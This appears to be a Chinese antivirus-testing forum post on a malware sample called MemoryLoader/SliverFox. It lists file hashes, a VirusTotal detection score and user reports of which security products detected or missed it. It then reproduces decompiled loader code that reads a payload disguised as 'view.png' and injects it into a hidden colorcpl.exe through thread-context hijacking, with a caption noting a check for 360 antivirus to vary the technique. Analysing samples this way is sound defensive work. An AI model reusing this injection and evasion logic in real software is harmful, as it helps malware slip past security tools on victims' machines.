MemoryLoader/SliverFox 1x

DisaPDB

HASH
SHA256:7ca1b21a16398384d4f48fca29954677dd92e7a5d67c0e7283ba309eef81341a
MD5:b5681787c720df913d6ca2cefc1bbc38
SHA1:87ea8e94b7b674f3b196ca10b917eae6fd3c62d3

VT(8/73)

玛姆库特

（EIS+智量）实机，扫描miss，双击进程自退。

莒县小哥

zong701

奇安信




卡巴

netweb

火绒 kill



智量

Loyisa

SEP 机学B

ytysh

Viruschaser 10 AI miss

kaba666

卡巴双击杀衍生物

xmt12

自制  kill

DisaPDB

1. 
   

复制代码

判断是否存在360 不存在则注入 存在则内存加载

1. void sub_1800015D0()
   
2. {
   
3.   void **v0; // rcx
   
4.   void *v1; // rbx
   
5.   void *v2; // rdi
   
6.   void *v3; // rbx
   
7.   HANDLE CurrentProcess; // rax
   
8.   void *v5; // rcx
   
9.   void *v6; // rcx
   
10.   size_t Size; // [rsp+50h] [rbp-B0h] BYREF
    
11.   struct _PROCESS_INFORMATION ProcessInformation; // [rsp+58h] [rbp-A8h] BYREF
    
12.   void *Block[3]; // [rsp+70h] [rbp-90h] BYREF
    
13.   unsigned __int64 v10; // [rsp+88h] [rbp-78h]
    
14.   void *Src[3]; // [rsp+90h] [rbp-70h] BYREF
    
15.   unsigned __int64 v12; // [rsp+A8h] [rbp-58h]
    
16.   struct _STARTUPINFOA StartupInfo; // [rsp+B0h] [rbp-50h] BYREF
    
17.   struct _CONTEXT Context; // [rsp+120h] [rbp+20h] BYREF
    
18. 
    
19.   sub_1800011D0(Src);
    
20.   sub_1800027F0(Block, Src, L"\\view.png");
    
21.   Size = 0i64;
    
22.   v0 = Block;
    
23.   if ( v10 >= 8 )
    
24.     v0 = (void **)Block[0];
    
25.   v1 = sub_180003430((const WCHAR *)v0, &Size);
    
26.   v2 = VirtualAlloc(0i64, 0x7A120ui64, 0x3000u, 0x40u);
    
27.   memcpy(v2, v1, Size);
    
28.   memset(&StartupInfo, 0, sizeof(StartupInfo));
    
29.   StartupInfo.cb = 68;
    
30.   free(v1);
    
31.   StartupInfo.dwFlags = 1;
    
32.   StartupInfo.wShowWindow = 0;
    
33.   if ( CreateProcessA(0i64, (LPSTR)"colorcpl.exe", 0i64, 0i64, 0, 0x44u, 0i64, 0i64, &StartupInfo, &ProcessInformation) )
    
34.   {
    
35.     Context.ContextFlags = 65539;
    
36.     GetThreadContext(ProcessInformation.hThread, &Context);
    
37.     v3 = VirtualAllocEx(ProcessInformation.hProcess, 0i64, 0x7A120ui64, 0x1000u, 0x40u);
    
38.     WriteProcessMemory(ProcessInformation.hProcess, v3, v2, 0x7A120ui64, 0i64);
    
39.     Context.Rip = (DWORD64)v3;
    
40.     SetThreadContext(ProcessInformation.hThread, &Context);
    
41.     ResumeThread(ProcessInformation.hThread);
    
42.     CloseHandle(ProcessInformation.hThread);
    
43.     CloseHandle(ProcessInformation.hProcess);
    
44.   }
    
45.   CurrentProcess = GetCurrentProcess();
    
46.   TerminateProcess(CurrentProcess, 0);
    
47.   if ( v10 >= 8 )
    
48.   {
    
49.     v5 = Block[0];
    
50.     if ( 2 * v10 + 2 >= 0x1000 )
    
51.     {
    
52.       v5 = (void *)*((_QWORD *)Block[0] - 1);
    
53.       if ( (unsigned __int64)(Block[0] - v5 - 8) > 0x1F )
    
54.         invalid_parameter_noinfo_noreturn();
    
55.     }
    
56.     j_j_free(v5);
    
57.   }
    
58.   Block[2] = 0i64;
    
59.   v10 = 7i64;
    
60.   LOWORD(Block[0]) = 0;
    
61.   if ( v12 >= 8 )
    
62.   {
    
63.     v6 = Src[0];
    
64.     if ( 2 * v12 + 2 >= 0x1000 )
    
65.     {
    
66.       v6 = (void *)*((_QWORD *)Src[0] - 1);
    
67.       if ( (unsigned __int64)(Src[0] - v6 - 8) > 0x1F )
    
68.         invalid_parameter_noinfo_noreturn();
    
69.     }
    
70.     j_j_free(v6);
    
71.   }
    
72. }

复制代码